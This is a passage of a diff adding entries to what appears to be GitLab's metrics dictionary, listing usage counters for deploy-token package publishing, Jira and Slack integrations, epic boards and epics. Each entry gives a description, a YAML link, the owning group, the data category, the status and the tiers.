+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210303154624_i_package_rubygems_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_monthly`
+
+A monthly count of package tags published to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_weekly`
+
+A weekly count of users that have published a package tag to the registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_monthly`
+
+Number of distinct users authorized via deploy token creating Terraform Module packages in recent 28 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.deploy_token_packages.i_package_terraform_module_deploy_token_weekly`
+
+Number of distinct users authorized via deploy token creating Terraform Module packages in recent 7 days
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210410012207_i_package_terraform_module_deploy_token_weekly.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_monthly`
+
+Number of users performing actions on Jira issues by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.ecosystem_total_unique_counts_weekly`
+
+Number of users performing actions on Jira issues by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184955_ecosystem_total_unique_counts_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_monthly`
+
+Number of users closing Jira issues by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_close_issue_weekly`
+
+Number of users closing Jira issues by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184939_i_ecosystem_jira_service_close_issue_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_monthly`
+
+Number of users creating Jira issues by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184953_i_ecosystem_jira_service_create_issue_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_create_issue_weekly`
+
+Number of users creating Jira issues by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184951_i_ecosystem_jira_service_create_issue_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_monthly`
+
+Number of users that cross-referenced Jira issues by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_cross_reference_weekly`
+
+Number of users that cross-referenced Jira issues by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216184943_i_ecosystem_jira_service_cross_reference_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_monthly`
+
+Count of Jira Issue List visits by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216184949_i_ecosystem_jira_service_list_issues_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_jira_service_list_issues_weekly`
+
+Count of Jira Issue List visits by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184947_i_ecosystem_jira_service_list_issues_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing an action on a confidential issue by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_issue_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing an action on a confidential issue by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_note_notification_monthly`
+
+Calculated unique users to trigger a Slack message by creating a confidential note by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_confidential_note_notification_weekly`
+
+Calculated unique users to trigger a Slack message by creating a confidential note by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_deployment_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing a deployment by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_deployment_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing a deployment by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_issue_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing an action on an issue by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_issue_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing an action on an issue by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_merge_request_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing an action on a merge request by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_merge_request_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing an action on a merge request by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_note_notification_monthly`
+
+Calculated unique users to trigger a Slack message by creating a note by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_note_notification_weekly`
+
+Calculated unique users to trigger a Slack message by creating a note by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_push_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing a Git push by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_push_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing a Git push by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_tag_push_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing a tag push by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_tag_push_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing a tag push by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_wiki_page_notification_monthly`
+
+Calculated unique users to trigger a Slack message by performing an action on a wiki page by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.ecosystem.i_ecosystem_slack_service_wiki_page_notification_weekly`
+
+Calculated unique users to trigger a Slack message by performing an action on a wiki page by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_monthly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210507171840_epic_boards_usage_total_unique_counts_monthly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.epic_boards_usage_total_unique_counts_weekly`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210507171838_epic_boards_usage_total_unique_counts_weekly.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_creating_epic_boards_monthly`
+
+Count of MAU creating epic boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210428072511_g_project_management_users_creating_epic_boards_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_creating_epic_boards_weekly`
+
+Count of WAU creating epic boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210428072508_g_project_management_users_creating_epic_boards_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_updating_epic_board_names_monthly`
+
+Count of MAU updating epic board names
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210428073607_g_project_management_users_updating_epic_board_names_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_updating_epic_board_names_weekly`
+
+Count of WAU updating epic board names
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210428073604_g_project_management_users_updating_epic_board_names_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_viewing_epic_boards_monthly`
+
+Count of MAU viewing epic boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210428073329_g_project_management_users_viewing_epic_boards_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epic_boards_usage.g_project_management_users_viewing_epic_boards_weekly`
+
+Count of WAU viewing epic boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210428073327_g_project_management_users_viewing_epic_boards_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_monthly`
+
+Total monthly users count for epics_usage
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210318183733_epics_usage_total_unique_counts_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.epics_usage_total_unique_counts_weekly`
+
+Total weekly users count for epics_usage
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210318183220_epics_usage_total_unique_counts_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_closed_monthly`
+
+Counts of MAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310163213_g_project_management_epic_closed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_closed_weekly`
+
+Counts of WAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310162703_g_project_management_epic_closed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_created_monthly`
+
+Count of MAU creating epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210305144719_g_product_planning_epic_created_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_created_weekly`
+
+Count of WAU creating epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_cross_referenced_monthly`
+
+Count of MAU cross referencing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210430174100_g_project_management_epic_cross_referenced_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_cross_referenced_weekly`
+
+Counts of WAU cross referencing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210430173650_g_project_management_epic_cross_referenced_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_monthly`
+
+Count of MAU destroying epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210413174710_g_project_management_epic_destroyed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_destroyed_weekly`
+
+Count of WAU destroying epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210413174449_g_project_management_epic_destroyed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_monthly`
+
+Count of MAU adding issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312144719_g_product_planning_epic_issue_added_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_added_weekly`
+
+Count of WAU adding issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312181918_g_product_planning_epic_issue_added_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_monthly`
+
+Counts of MAU moving epic issues between projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210405190240_g_project_management_epic_issue_moved_from_project_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_moved_from_project_weekly`
+
+Counts of WAU moving epic issues between projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210405185814_g_project_management_epic_issue_moved_from_project_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_monthly`
+
+Count of MAU removing issues from epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210401183230_g_project_management_epic_issue_removed_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_issue_removed_weekly`
+
+Counts of WAU removing issues from epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210401182457_g_project_management_g_project_management_epic_issue_removed_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_monthly`
+
+Counts of MAU closing epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210310164247_g_project_management_epic_reopened_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_reopened_weekly`
+
+Counts of WAU re-opening epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210310164112_g_project_management_epic_reopened_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_monthly`
+
+Count of MAU chaging the epic lables
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210312195730_g_project_management_epic_labels_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_epic_users_changing_labels_weekly`
+
+Count of WAU chaging the epic lables
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210312195849_g_project_management_epic_labels_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_monthly`
+
+Count of MAU promoting issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210331193236_g_project_management_issue_promoted_to_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_issue_promoted_to_epic_weekly`
+
+Counts of WAU promoting issues to epics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210331192332_g_project_management_issue_promoted_to_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_awarding_epic_emoji_monthly`
+
+Counts of MAU awarding emoji on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210503011217_g_project_management_users_awarding_epic_emoji_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_awarding_epic_emoji_weekly`
+
+Counts of WAU awarding emoji on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210503011355_g_project_management_users_awarding_epic_emoji_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_monthly`
+
+Counts of MAU adding epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210314215451_g_project_management_users_creating_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_creating_epic_notes_weekly`
+
+Counts of WAU adding epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210314231518_g_project_management_users_creating_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_monthly`
+
+Counts of MAU destroying epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210315034808_g_project_management_users_destroying_epic_notes_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_destroying_epic_notes_weekly`
+
+Counts of WAU destroying epic notes
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210315034846_g_project_management_users_destroying_epic_notes_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_monthly`
+
+Number of users creating an issue from an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210608191652_g_project_management_users_epic_issue_added_from_epic_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_epic_issue_added_from_epic_weekly`
+
+Number of users creating an issue from an epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210608191647_g_project_management_users_epic_issue_added_from_epic_weekly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`
+
+### `redis_hll_counters.epics_usage.g_project_management_users_removing_epic_emoji_monthly`
+
+Counts of MAU removing emoji on epic
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210505071850_g_project_management_users_removing_epic_emoji_monthly.yml)
+
+Group: `group::product planning`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
